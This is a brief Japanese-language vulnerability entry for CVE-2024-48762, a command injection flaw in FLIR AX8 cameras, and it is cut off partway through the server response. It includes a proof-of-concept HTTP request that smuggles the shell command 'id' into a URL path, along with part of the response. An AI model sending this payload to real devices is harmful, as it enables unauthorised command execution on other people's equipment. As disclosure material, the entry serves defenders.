CVE-2024-48762

CVE-2024-48762 説明 FLIR AX8（バージョン1.46.16まで）の/usr/www/application/models/settingscamera.phpにおけるコマンドインジェクションの脆弱性により、攻撃者はvalueパラメータを介して任意のコマンドを実行可能です。 POC root@kitploit: GET /settings/applyfirmware/;idtest123.txt;/false HTTP/1.1 Host: XXXX レスポンス root@kitploit: HTTP/1.1 200 OK X-Powered-By: PHP/5.4.14...